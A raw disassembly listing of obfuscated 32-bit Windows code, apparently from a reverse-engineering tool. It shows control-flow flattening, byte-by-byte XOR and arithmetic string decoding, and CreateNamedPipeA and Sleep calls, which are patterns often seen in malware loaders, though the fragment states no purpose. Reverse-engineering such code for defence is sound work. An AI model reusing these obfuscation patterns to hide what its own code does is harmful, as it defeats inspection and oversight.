sub cl, dl
mov byte [0x101d1223], cl
mov cl, byte [0x101d1203]
xor cl, 0x95
mov byte [0x101d1224], cl
mov cl, byte [0x101d1204]
mov dl, cl
and dl, 0x5b
shl dl, 1
add cl, 0x5b
sub cl, dl
mov byte [0x101d1225], cl
mov dl, byte [0x101d1205]
mov cl, dl
xor cl, 0xff
and cl, 0xd3
mov ch, 0xff
xor ch, 0xd3
and dl, ch
or cl, dl
mov byte [0x101d1226], cl
mov cl, byte [0x101d1206]
xor cl, 0xc0
mov byte [0x101d1228], cl
mov cl, byte [0x101d1207]
xor cl, 0xb0
mov byte [0x101d1229], cl
mov cl, byte [0x101d1208]
xor cl, 0x75
mov byte [0x101d122b], cl
mov cl, byte [0x101d11b0]
mov dl, cl
and dl, 0xb2
shl dl, 1
add cl, 0xb2
sub cl, dl
mov byte [str.qi], cl
mov dl, byte [0x101d11b1]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
and cl, 0x8f
xor cl, 0xff
mov ch, 0xff
xor ch, 0x8f
mov dh, 0xff
xor dh, 0x8f
or ch, dh
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101d11d1], cl
mov cl, byte [0x101d11b2]
xor cl, 0x32
mov byte [0x101d11d2], cl
mov cl, byte [0x101d11b3]
mov dl, cl
and dl, 0xbb
shl dl, 1
add cl, 0xbb
sub cl, dl
mov byte [0x101d11d4], cl
mov cl, byte [str._lV_v]
xor cl, 0x4e
mov byte [0x101d11d6], cl
mov cl, byte [0x101d11b5]
xor cl, 0x30
mov byte [0x101d11d8], cl
mov dh, byte [0x101d11b6]
mov cl, dh
xor cl, 0xff
and cl, 0xba
mov ch, 0xff
xor ch, 0xba
and dh, ch
mov dl, 0xff
xor dl, 0x50
and dl, 0xba
and ch, 0x50
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101d11d9], cl
mov dword [eax], 0xc8f57875
jmp 0x100b81ba
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x4c]
mov dl, byte [edx]
mov dh, dl
and dh, 0x30
shl dh, 1
add dl, 0x30
sub dl, dh
mov byte [ecx], dl
mov cl, byte [0x101d11b8]
xor cl, 0x78
mov byte [0x101d11dc], cl
mov cl, byte [0x101d11b9]
mov dl, cl
xor dl, 0x85
xor dl, 0xff
and dl, 0x85
shl dl, 1
sub dl, 0x85
sub cl, dl
mov byte [0x101d11dd], cl
mov cl, byte [0x101d11ba]
mov dl, cl
and dl, 0x79
shl dl, 1
add cl, 0x79
sub cl, dl
mov byte [str._1Jh], cl
mov dh, byte [0x101d11bb]
mov cl, dh
xor cl, 0xff
and cl, 0xdf
mov ch, 0xff
xor ch, 0xdf
and dh, ch
mov dl, 0xff
xor dl, 0x6e
and dl, 0xdf
and ch, 0x6e
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101d11df], cl
mov cl, byte [0x101d11bc]
mov dl, cl
and dl, 0xe5
shl dl, 1
add cl, 0xe5
sub cl, dl
mov byte [0x101d11e1], cl
mov cl, byte [0x101d11bd]
xor cl, 0xdd
mov byte [0x101d11e2], cl
mov cl, byte [0x101d11be]
xor cl, 0x77
mov byte [0x101d11e3], cl
mov cl, byte [0x101d11bf]
mov dl, cl
xor dl, 0x4a
xor dl, 0xff
and dl, 0x4a
shl dl, 1
sub dl, 0x4a
sub cl, dl
mov byte [0x101d11e4], cl
mov cl, byte [0x101d11c0]
xor cl, 0xcf
mov byte [0x101d11e5], cl
mov cl, byte [0x101d11c1]
xor cl, 0x45
mov byte [0x101d11e6], cl
mov dh, byte [0x101d11c2]
mov cl, dh
xor cl, 0xff
and cl, 0x4e
mov ch, 0xff
xor ch, 0x4e
and dh, ch
mov dl, 0xff
xor dl, 0x3e
and dl, 0x4e
and ch, 0x3e
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101d11e7], cl
mov cl, byte [0x101d11c3]
xor cl, 0xe1
mov byte [0x101d11e9], cl
mov cl, byte [0x101d11c4]
xor cl, 0x71
mov byte [0x101d11eb], cl
mov dword [eax], 0x374c8955
jmp 0x100b81ba
mov dword [0x101d4d50], 1
push eax
push eax
push eax
sub esp, 0x1c
mov ecx, esp
lea eax, str.qi
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1c
call fcn.1017dda0
mov eax, dword [ebp - 0x1c]
add esp, 0xc
mov dword [eax], 0xbff233de
jmp 0x100b81ba
mov ecx, dword [ebp - 0x5c]
lea eax, [0x101d1210]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1c
call fcn.1017dda0
mov eax, dword [ebp - 0x5c]
add esp, 0xc
xor ecx, ecx
sub esp, 0x20
mov dword [esp], eax
mov dword [esp + 4], 3
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x757d3a29
jmp 0x100b81ba
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x64]
mov edx, dword [ebp - 0x70]
mov dword [ecx], edx
mov dword [eax], 0x3ef1ad6c
jmp 0x100b81ba
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xf4f85ea9
jmp 0x100b81ba
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xf74b2143
jmp 0x100b81ba
mov eax, dword [ebp - 0x90]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [esp], 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x60]
xor ecx, ecx
sub esp, 0x20
mov dword [esp], eax
mov dword [esp + 4], 3
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov ecx, dword [ebp - 0x68]
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov dword [ecx], edx
mov dword [eax], 0xd2613130
jmp 0x100b81ba
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xbe37935a
jmp 0x100b81ba
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x6c]
mov dword [ecx], 0
mov dword [eax], 0x59e3af22
jmp 0x100b81ba
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x84f2215e
jmp 0x100b104b